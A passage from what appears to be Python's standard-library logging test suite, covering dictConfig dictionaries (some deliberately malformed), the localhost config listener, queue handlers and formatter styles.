logging.getLogger("py.warnings") logger.addHandler(h) warnings.warn("I'm warning you...") logger.removeHandler(h) s = stream.getvalue() h.close() self.assertGreater(s.find("UserWarning: I'm warning you...\n"), 0) # See if an explicit file uses the original implementation a_file = io.StringIO() warnings.showwarning("Explicit", UserWarning, "dummy.py", 42, a_file, "Dummy line") s = a_file.getvalue() a_file.close() self.assertEqual(s, "dummy.py:42: UserWarning: Explicit\n Dummy line\n") def test_warnings_no_handlers(self): with warnings.catch_warnings(): logging.captureWarnings(True) self.addCleanup(logging.captureWarnings, False) # confirm our assumption: no loggers are set logger = logging.getLogger("py.warnings") self.assertEqual(logger.handlers, []) warnings.showwarning("Explicit", UserWarning, "dummy.py", 42) self.assertEqual(len(logger.handlers), 1) self.assertIsInstance(logger.handlers[0], logging.NullHandler) def formatFunc(format, datefmt=None): return logging.Formatter(format, datefmt) def handlerFunc(): return logging.StreamHandler() class CustomHandler(logging.StreamHandler): pass class ConfigDictTest(BaseTest): """Reading logging config from a dictionary.""" expected_log_pat = r"^(\w+) \+\+ (\w+)$" # config0 is a standard configuration. config0 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'root' : { 'level' : 'WARNING', 'handlers' : ['hand1'], }, } # config1 adds a little to the standard configuration. config1 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # config1a moves the handler to the root. Used with config8a config1a = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', }, }, 'root' : { 'level' : 'WARNING', 'handlers' : ['hand1'], }, } # config2 has a subtle configuration error that should be reported config2 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdbout', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # As config1 but with a misspelt level on a handler config2a = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NTOSET', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # As config1 but with a misspelt level on a logger config2b = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WRANING', }, } # config3 has a less subtle configuration error config3 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'misspelled_name', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # config4 specifies a custom formatter class to be loaded config4 = { 'version': 1, 'formatters': { 'form1' : { '()' : __name__ + '.ExceptionFormatter', 'format' : '%(levelname)s:%(name)s:%(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'root' : { 'level' : 'NOTSET', 'handlers' : ['hand1'], }, } # As config4 but using an actual callable rather than a string config4a = { 'version': 1, 'formatters': { 'form1' : { '()' : ExceptionFormatter, 'format' : '%(levelname)s:%(name)s:%(message)s', }, 'form2' : { '()' : __name__ + '.formatFunc', 'format' : '%(levelname)s:%(name)s:%(message)s', }, 'form3' : { '()' : formatFunc, 'format' : '%(levelname)s:%(name)s:%(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, 'hand2' : { '()' : handlerFunc, }, }, 'root' : { 'level' : 'NOTSET', 'handlers' : ['hand1'], }, } # config5 specifies a custom handler class to be loaded config5 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : __name__ + '.CustomHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # config6 specifies a custom handler class to be loaded # but has bad arguments config6 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : __name__ + '.CustomHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', '9' : 'invalid parameter name', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # config 7 does not define compiler.parser but defines compiler.lexer # so compiler.parser should be disabled after applying it config7 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler.lexer' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # config8 defines both compiler and compiler.lexer # so compiler.parser should not be disabled (since # compiler is defined) config8 = { 'version': 1, 'disable_existing_loggers' : False, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, 'compiler.lexer' : { }, }, 'root' : { 'level' : 'WARNING', }, } # config8a disables existing loggers config8a = { 'version': 1, 'disable_existing_loggers' : True, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, 'compiler.lexer' : { }, }, 'root' : { 'level' : 'WARNING', }, } config9 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'WARNING', 'stream' : 'ext://sys.stdout', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'WARNING', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'NOTSET', }, } config9a = { 'version': 1, 'incremental' : True, 'handlers' : { 'hand1' : { 'level' : 'WARNING', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'INFO', }, }, } config9b = { 'version': 1, 'incremental' : True, 'handlers' : { 'hand1' : { 'level' : 'INFO', }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'INFO', }, }, } # As config1 but with a filter added config10 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'filters' : { 'filt1' : { 'name' : 'compiler.parser', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', 'filters' : ['filt1'], }, }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'filters' : ['filt1'], }, }, 'root' : { 'level' : 'WARNING', 'handlers' : ['hand1'], }, } # As config1 but using cfg:// references config11 = { 'version': 1, 'true_formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handler_configs': { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'formatters' : 'cfg://true_formatters', 'handlers' : { 'hand1' : 'cfg://handler_configs[hand1]', }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # As config11 but missing the version key config12 = { 'true_formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handler_configs': { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'formatters' : 'cfg://true_formatters', 'handlers' : { 'hand1' : 'cfg://handler_configs[hand1]', }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # As config11 but using an unsupported version config13 = { 'version': 2, 'true_formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handler_configs': { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', }, }, 'formatters' : 'cfg://true_formatters', 'handlers' : { 'hand1' : 'cfg://handler_configs[hand1]', }, 'loggers' : { 'compiler.parser' : { 'level' : 'DEBUG', 'handlers' : ['hand1'], }, }, 'root' : { 'level' : 'WARNING', }, } # As config0, but with properties config14 = { 'version': 1, 'formatters': { 'form1' : { 'format' : '%(levelname)s ++ %(message)s', }, }, 'handlers' : { 'hand1' : { 'class' : 'logging.StreamHandler', 'formatter' : 'form1', 'level' : 'NOTSET', 'stream' : 'ext://sys.stdout', '.': { 'foo': 'bar', 'terminator': '!\n', } }, }, 'root' : { 'level' : 'WARNING', 'handlers' : ['hand1'], }, } out_of_order = { "version": 1, "formatters": { "mySimpleFormatter": { "format": "%(asctime)s (%(name)s) %(levelname)s: %(message)s", "style": "$" } }, "handlers": { "fileGlobal": { "class": "logging.StreamHandler", "level": "DEBUG", "formatter": "mySimpleFormatter" }, "bufferGlobal": { "class": "logging.handlers.MemoryHandler", "capacity": 5, "formatter": "mySimpleFormatter", "target": "fileGlobal", "level": "DEBUG" } }, "loggers": { "mymodule": { "level": "DEBUG", "handlers": ["bufferGlobal"], "propagate": "true" } } } def apply_config(self, conf): logging.config.dictConfig(conf) def test_config0_ok(self): # A simple config which overrides the default settings. with support.captured_stdout() as output: self.apply_config(self.config0) logger = logging.getLogger() # Won't output anything logger.info(self.next_message()) # Outputs a message logger.error(self.next_message()) self.assert_log_lines([ ('ERROR', '2'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) def test_config1_ok(self, config=config1): # A config defining a sub-parser as well. with support.captured_stdout() as output: self.apply_config(config) logger = logging.getLogger("compiler.parser") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) def test_config2_failure(self): # A simple config which overrides the default settings. self.assertRaises(Exception, self.apply_config, self.config2) def test_config2a_failure(self): # A simple config which overrides the default settings. self.assertRaises(Exception, self.apply_config, self.config2a) def test_config2b_failure(self): # A simple config which overrides the default settings. self.assertRaises(Exception, self.apply_config, self.config2b) def test_config3_failure(self): # A simple config which overrides the default settings. self.assertRaises(Exception, self.apply_config, self.config3) def test_config4_ok(self): # A config specifying a custom formatter class. with support.captured_stdout() as output: self.apply_config(self.config4) #logger = logging.getLogger() try: raise RuntimeError() except RuntimeError: logging.exception("just testing") sys.stdout.seek(0) self.assertEqual(output.getvalue(), "ERROR:root:just testing\nGot a [RuntimeError]\n") # Original logger output is empty self.assert_log_lines([]) def test_config4a_ok(self): # A config specifying a custom formatter class. with support.captured_stdout() as output: self.apply_config(self.config4a) #logger = logging.getLogger() try: raise RuntimeError() except RuntimeError: logging.exception("just testing") sys.stdout.seek(0) self.assertEqual(output.getvalue(), "ERROR:root:just testing\nGot a [RuntimeError]\n") # Original logger output is empty self.assert_log_lines([]) def test_config5_ok(self): self.test_config1_ok(config=self.config5) def test_config6_failure(self): self.assertRaises(Exception, self.apply_config, self.config6) def test_config7_ok(self): with support.captured_stdout() as output: self.apply_config(self.config1) logger = logging.getLogger("compiler.parser") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) with support.captured_stdout() as output: self.apply_config(self.config7) logger = logging.getLogger("compiler.parser") self.assertTrue(logger.disabled) logger = logging.getLogger("compiler.lexer") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([ ('INFO', '3'), ('ERROR', '4'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) # Same as test_config_7_ok but don't disable old loggers. def test_config_8_ok(self): with support.captured_stdout() as output: self.apply_config(self.config1) logger = logging.getLogger("compiler.parser") # All will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) with support.captured_stdout() as output: self.apply_config(self.config8) logger = logging.getLogger("compiler.parser") self.assertFalse(logger.disabled) # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) logger = logging.getLogger("compiler.lexer") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([ ('INFO', '3'), ('ERROR', '4'), ('INFO', '5'), ('ERROR', '6'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) def test_config_8a_ok(self): with support.captured_stdout() as output: self.apply_config(self.config1a) logger = logging.getLogger("compiler.parser") # See issue #11424. compiler-hyphenated sorts # between compiler and compiler.xyz and this # was preventing compiler.xyz from being included # in the child loggers of compiler because of an # overzealous loop termination condition. hyphenated = logging.getLogger('compiler-hyphenated') # All will output a message logger.info(self.next_message()) logger.error(self.next_message()) hyphenated.critical(self.next_message()) self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ('CRITICAL', '3'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) with support.captured_stdout() as output: self.apply_config(self.config8a) logger = logging.getLogger("compiler.parser") self.assertFalse(logger.disabled) # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) logger = logging.getLogger("compiler.lexer") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) # Will not appear hyphenated.critical(self.next_message()) self.assert_log_lines([ ('INFO', '4'), ('ERROR', '5'), ('INFO', '6'), ('ERROR', '7'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) def test_config_9_ok(self): with support.captured_stdout() as output: self.apply_config(self.config9) logger = logging.getLogger("compiler.parser") # Nothing will be output since both handler and logger are set to WARNING logger.info(self.next_message()) self.assert_log_lines([], stream=output) self.apply_config(self.config9a) # Nothing will be output since handler is still set to WARNING logger.info(self.next_message()) self.assert_log_lines([], stream=output) self.apply_config(self.config9b) # Message should now be output logger.info(self.next_message()) self.assert_log_lines([ ('INFO', '3'), ], stream=output) def test_config_10_ok(self): with support.captured_stdout() as output: self.apply_config(self.config10) logger = logging.getLogger("compiler.parser") logger.warning(self.next_message()) logger = logging.getLogger('compiler') # Not output, because filtered logger.warning(self.next_message()) logger = logging.getLogger('compiler.lexer') # Not output, because filtered logger.warning(self.next_message()) logger = logging.getLogger("compiler.parser.codegen") # Output, as not filtered logger.error(self.next_message()) self.assert_log_lines([ ('WARNING', '1'), ('ERROR', '4'), ], stream=output) def test_config11_ok(self): self.test_config1_ok(self.config11) def test_config12_failure(self): self.assertRaises(Exception, self.apply_config, self.config12) def test_config13_failure(self): self.assertRaises(Exception, self.apply_config, self.config13) def test_config14_ok(self): with support.captured_stdout() as output: self.apply_config(self.config14) h = logging._handlers['hand1'] self.assertEqual(h.foo, 'bar') self.assertEqual(h.terminator, '!\n') logging.warning('Exclamation') self.assertTrue(output.getvalue().endswith('Exclamation!\n')) def setup_via_listener(self, text, verify=None): text = text.encode("utf-8") # Ask for a randomly assigned port (by using port 0) t = logging.config.listen(0, verify) t.start() t.ready.wait() # Now get the port allocated port = t.port t.ready.clear() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2.0) sock.connect(('localhost', port)) slen = struct.pack('>L', len(text)) s = slen + text sentsofar = 0 left = len(s) while left > 0: sent = sock.send(s[sentsofar:]) sentsofar += sent left -= sent sock.close() finally: t.ready.wait(2.0) logging.config.stopListening() support.join_thread(t, 2.0) def test_listen_config_10_ok(self): with support.captured_stdout() as output: self.setup_via_listener(json.dumps(self.config10)) logger = logging.getLogger("compiler.parser") logger.warning(self.next_message()) logger = logging.getLogger('compiler') # Not output, because filtered logger.warning(self.next_message()) logger = logging.getLogger('compiler.lexer') # Not output, because filtered logger.warning(self.next_message()) logger = logging.getLogger("compiler.parser.codegen") # Output, as not filtered logger.error(self.next_message()) self.assert_log_lines([ ('WARNING', '1'), ('ERROR', '4'), ], stream=output) def test_listen_config_1_ok(self): with support.captured_stdout() as output: self.setup_via_listener(textwrap.dedent(ConfigFileTest.config1)) logger = logging.getLogger("compiler.parser") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) def test_listen_verify(self): def verify_fail(stuff): return None def verify_reverse(stuff): return stuff[::-1] logger = logging.getLogger("compiler.parser") to_send = textwrap.dedent(ConfigFileTest.config1) # First, specify a verification function that will fail. # We expect to see no output, since our configuration # never took effect. with support.captured_stdout() as output: self.setup_via_listener(to_send, verify_fail) # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([], stream=output) # Original logger output has the stuff we logged. self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ], pat=r"^[\w.]+ -> (\w+): (\d+)$") # Now, perform no verification. Our configuration # should take effect. with support.captured_stdout() as output: self.setup_via_listener(to_send) # no verify callable specified logger = logging.getLogger("compiler.parser") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([ ('INFO', '3'), ('ERROR', '4'), ], stream=output) # Original logger output still has the stuff we logged before. self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ], pat=r"^[\w.]+ -> (\w+): (\d+)$") # Now, perform verification which transforms the bytes. with support.captured_stdout() as output: self.setup_via_listener(to_send[::-1], verify_reverse) logger = logging.getLogger("compiler.parser") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([ ('INFO', '5'), ('ERROR', '6'), ], stream=output) # Original logger output still has the stuff we logged before. self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ], pat=r"^[\w.]+ -> (\w+): (\d+)$") def test_out_of_order(self): self.apply_config(self.out_of_order) handler = logging.getLogger('mymodule').handlers[0] self.assertIsInstance(handler.target, logging.Handler) self.assertIsInstance(handler.formatter._style, logging.StringTemplateStyle) def test_baseconfig(self): d = { 'atuple': (1, 2, 3), 'alist': ['a', 'b', 'c'], 'adict': {'d': 'e', 'f': 3 }, 'nest1': ('g', ('h', 'i'), 'j'), 'nest2': ['k', ['l', 'm'], 'n'], 'nest3': ['o', 'cfg://alist', 'p'], } bc = logging.config.BaseConfigurator(d) self.assertEqual(bc.convert('cfg://atuple[1]'), 2) self.assertEqual(bc.convert('cfg://alist[1]'), 'b') self.assertEqual(bc.convert('cfg://nest1[1][0]'), 'h') self.assertEqual(bc.convert('cfg://nest2[1][1]'), 'm') self.assertEqual(bc.convert('cfg://adict.d'), 'e') self.assertEqual(bc.convert('cfg://adict[f]'), 3) v = bc.convert('cfg://nest3') self.assertEqual(v.pop(1), ['a', 'b', 'c']) self.assertRaises(KeyError, bc.convert, 'cfg://nosuch') self.assertRaises(ValueError, bc.convert, 'cfg://!') self.assertRaises(KeyError, bc.convert, 'cfg://adict[2]') class ManagerTest(BaseTest): def test_manager_loggerclass(self): logged = [] class MyLogger(logging.Logger): def _log(self, level, msg, args, exc_info=None, extra=None): logged.append(msg) man = logging.Manager(None) self.assertRaises(TypeError, man.setLoggerClass, int) man.setLoggerClass(MyLogger) logger = man.getLogger('test') logger.warning('should appear in logged') logging.warning('should not appear in logged') self.assertEqual(logged, ['should appear in logged']) def test_set_log_record_factory(self): man = logging.Manager(None) expected = object() man.setLogRecordFactory(expected) self.assertEqual(man.logRecordFactory, expected) class ChildLoggerTest(BaseTest): def test_child_loggers(self): r = logging.getLogger() l1 = logging.getLogger('abc') l2 = logging.getLogger('def.ghi') c1 = r.getChild('xyz') c2 = r.getChild('uvw.xyz') self.assertIs(c1, logging.getLogger('xyz')) self.assertIs(c2, logging.getLogger('uvw.xyz')) c1 = l1.getChild('def') c2 = c1.getChild('ghi') c3 = l1.getChild('def.ghi') self.assertIs(c1, logging.getLogger('abc.def')) self.assertIs(c2, logging.getLogger('abc.def.ghi')) self.assertIs(c2, c3) class DerivedLogRecord(logging.LogRecord): pass class LogRecordFactoryTest(BaseTest): def setUp(self): class CheckingFilter(logging.Filter): def __init__(self, cls): self.cls = cls def filter(self, record): t = type(record) if t is not self.cls: msg = 'Unexpected LogRecord type %s, expected %s' % (t, self.cls) raise TypeError(msg) return True BaseTest.setUp(self) self.filter = CheckingFilter(DerivedLogRecord) self.root_logger.addFilter(self.filter) self.orig_factory = logging.getLogRecordFactory() def tearDown(self): self.root_logger.removeFilter(self.filter) BaseTest.tearDown(self) logging.setLogRecordFactory(self.orig_factory) def test_logrecord_class(self): self.assertRaises(TypeError, self.root_logger.warning, self.next_message()) logging.setLogRecordFactory(DerivedLogRecord) self.root_logger.error(self.next_message()) self.assert_log_lines([ ('root', 'ERROR', '2'), ]) class QueueHandlerTest(BaseTest): # Do not bother with a logger name group. expected_log_pat = r"^[\w.]+ -> (\w+): (\d+)$" def setUp(self): BaseTest.setUp(self) self.queue = queue.Queue(-1) self.que_hdlr = logging.handlers.QueueHandler(self.queue) self.name = 'que' self.que_logger = logging.getLogger('que') self.que_logger.propagate = False self.que_logger.setLevel(logging.WARNING) self.que_logger.addHandler(self.que_hdlr) def tearDown(self): self.que_hdlr.close() BaseTest.tearDown(self) def test_queue_handler(self): self.que_logger.debug(self.next_message()) self.assertRaises(queue.Empty, self.queue.get_nowait) self.que_logger.info(self.next_message()) self.assertRaises(queue.Empty, self.queue.get_nowait) msg = self.next_message() self.que_logger.warning(msg) data = self.queue.get_nowait() self.assertTrue(isinstance(data, logging.LogRecord)) self.assertEqual(data.name, self.que_logger.name) self.assertEqual((data.msg, data.args), (msg, None)) def test_formatting(self): msg = self.next_message() levelname = logging.getLevelName(logging.WARNING) log_format_str = '{name} -> {levelname}: {message}' formatted_msg = log_format_str.format(name=self.name, levelname=levelname, message=msg) formatter = logging.Formatter(self.log_format) self.que_hdlr.setFormatter(formatter) self.que_logger.warning(msg) log_record = self.queue.get_nowait() self.assertEqual(formatted_msg, log_record.msg) self.assertEqual(formatted_msg, log_record.message) @unittest.skipUnless(hasattr(logging.handlers, 'QueueListener'), 'logging.handlers.QueueListener required for this test') def test_queue_listener(self): handler = support.TestHandler(support.Matcher()) listener = logging.handlers.QueueListener(self.queue, handler) listener.start() try: self.que_logger.warning(self.next_message()) self.que_logger.error(self.next_message()) self.que_logger.critical(self.next_message()) finally: listener.stop() self.assertTrue(handler.matches(levelno=logging.WARNING, message='1')) self.assertTrue(handler.matches(levelno=logging.ERROR, message='2')) self.assertTrue(handler.matches(levelno=logging.CRITICAL, message='3')) handler.close() # Now test with respect_handler_level set handler = support.TestHandler(support.Matcher()) handler.setLevel(logging.CRITICAL) listener = logging.handlers.QueueListener(self.queue, handler, respect_handler_level=True) listener.start() try: self.que_logger.warning(self.next_message()) self.que_logger.error(self.next_message()) self.que_logger.critical(self.next_message()) finally: listener.stop() self.assertFalse(handler.matches(levelno=logging.WARNING, message='4')) self.assertFalse(handler.matches(levelno=logging.ERROR, message='5')) self.assertTrue(handler.matches(levelno=logging.CRITICAL, message='6')) if hasattr(logging.handlers, 'QueueListener'): import multiprocessing from unittest.mock import patch class QueueListenerTest(BaseTest): """ Tests based on patch submitted for issue #27930. Ensure that QueueListener handles all log messages. """ repeat = 20 @staticmethod def setup_and_log(log_queue, ident): """ Creates a logger with a QueueHandler that logs to a queue read by a QueueListener. Starts the listener, logs five messages, and stops the listener. """ logger = logging.getLogger('test_logger_with_id_%s' % ident) logger.setLevel(logging.DEBUG) handler = logging.handlers.QueueHandler(log_queue) logger.addHandler(handler) listener = logging.handlers.QueueListener(log_queue) listener.start() logger.info('one') logger.info('two') logger.info('three') logger.info('four') logger.info('five') listener.stop() logger.removeHandler(handler) handler.close() @patch.object(logging.handlers.QueueListener, 'handle') def test_handle_called_with_queue_queue(self, mock_handle): for i in range(self.repeat): log_queue = queue.Queue() self.setup_and_log(log_queue, '%s_%s' % (self.id(), i)) self.assertEqual(mock_handle.call_count, 5 * self.repeat, 'correct number of handled log messages') @patch.object(logging.handlers.QueueListener, 'handle') def test_handle_called_with_mp_queue(self, mock_handle): # Issue 28668: The multiprocessing (mp) module is not functional # when the mp.synchronize module cannot be imported. support.import_module('multiprocessing.synchronize') for i in range(self.repeat): log_queue = multiprocessing.Queue() self.setup_and_log(log_queue, '%s_%s' % (self.id(), i)) log_queue.close() log_queue.join_thread() self.assertEqual(mock_handle.call_count, 5 * self.repeat, 'correct number of handled log messages') @staticmethod def get_all_from_queue(log_queue): try: while True: yield log_queue.get_nowait() except queue.Empty: return [] def test_no_messages_in_queue_after_stop(self): """ Five messages are logged then the QueueListener is stopped. This test then gets everything off the queue. Failure of this test indicates that messages were not registered on the queue until _after_ the QueueListener stopped. """ # Issue 28668: The multiprocessing (mp) module is not functional # when the mp.synchronize module cannot be imported. support.import_module('multiprocessing.synchronize') for i in range(self.repeat): queue = multiprocessing.Queue() self.setup_and_log(queue, '%s_%s' %(self.id(), i)) # time.sleep(1) items = list(self.get_all_from_queue(queue)) queue.close() queue.join_thread() expected = [[], [logging.handlers.QueueListener._sentinel]] self.assertIn(items, expected, 'Found unexpected messages in queue: %s' % ( [m.msg if isinstance(m, logging.LogRecord) else m for m in items])) ZERO = datetime.timedelta(0) class UTC(datetime.tzinfo): def utcoffset(self, dt): return ZERO dst = utcoffset def tzname(self, dt): return 'UTC' utc = UTC() class FormatterTest(unittest.TestCase): def setUp(self): self.common = { 'name': 'formatter.test', 'level': logging.DEBUG, 'pathname': os.path.join('path', 'to', 'dummy.ext'), 'lineno': 42, 'exc_info': None, 'func': None, 'msg': 'Message with %d %s', 'args': (2, 'placeholders'), } self.variants = { } def get_record(self, name=None): result = dict(self.common) if name is not None: result.update(self.variants[name]) return logging.makeLogRecord(result) def test_percent(self): # Test %-formatting r = self.get_record() f = logging.Formatter('${%(message)s}') self.assertEqual(f.format(r), '${Message with 2 placeholders}') f = logging.Formatter('%(random)s') self.assertRaises(KeyError, f.format, r) self.assertFalse(f.usesTime()) f = logging.Formatter('%(asctime)s') self.assertTrue(f.usesTime()) f = logging.Formatter('%(asctime)-15s') self.assertTrue(f.usesTime()) f = logging.Formatter('asctime') self.assertFalse(f.usesTime()) def test_braces(self): # Test {}-formatting r = self.get_record() f = logging.Formatter('$%{message}%$', style='{') self.assertEqual(f.format(r), '$%Message with 2 placeholders%$') f = logging.Formatter('{random}', style='{') self.assertRaises(KeyError, f.format, r) self.assertFalse(f.usesTime()) f = logging.Formatter('{asctime}', style='{') self.assertTrue(f.usesTime()) f = logging.Formatter('{asctime!s:15}', style='{') self.assertTrue(f.usesTime()) f = logging.Formatter('{asctime:15}', style='{') self.assertTrue(f.usesTime()) f = logging.Formatter('asctime', style='{') self.assertFalse(f.usesTime()) def test_dollars(self): # Test $-formatting r = self.get_record() f = logging.Formatter('$message', style='$') self.assertEqual(f.format(r), 'Message with 2 placeholders') f = logging.Formatter('$$%${message}%$$', style='$') self.assertEqual(f.format(r), '$%Message with 2 placeholders%$') f = logging.Formatter('${random}', style='$') self.assertRaises(KeyError, f.format, r) self.assertFalse(f.usesTime()) f = logging.Formatter('${asctime}', style='$') self.assertTrue(f.usesTime()) f = logging.Formatter('${asctime', style='$') self.assertFalse(f.usesTime()) f = logging.Formatter('$asctime', style='$') self.assertTrue(f.usesTime()) f = logging.Formatter('asctime', style='$') self.assertFalse(f.usesTime()) def test_invalid_style(self): self.assertRaises(ValueError, logging.Formatter, None, None, 'x') def test_time(self): r = self.get_record() dt = datetime.datetime(1993, 4, 21, 8, 3, 0, 0, utc) # We use None to indicate we want the local timezone # We're essentially converting a UTC time to local time r.created = time.mktime(dt.astimezone(None).timetuple()) r.msecs = 123 f = logging.Formatter('%(asctime)s %(message)s') f.converter = time.gmtime self.assertEqual(f.formatTime(r), '1993-04-21 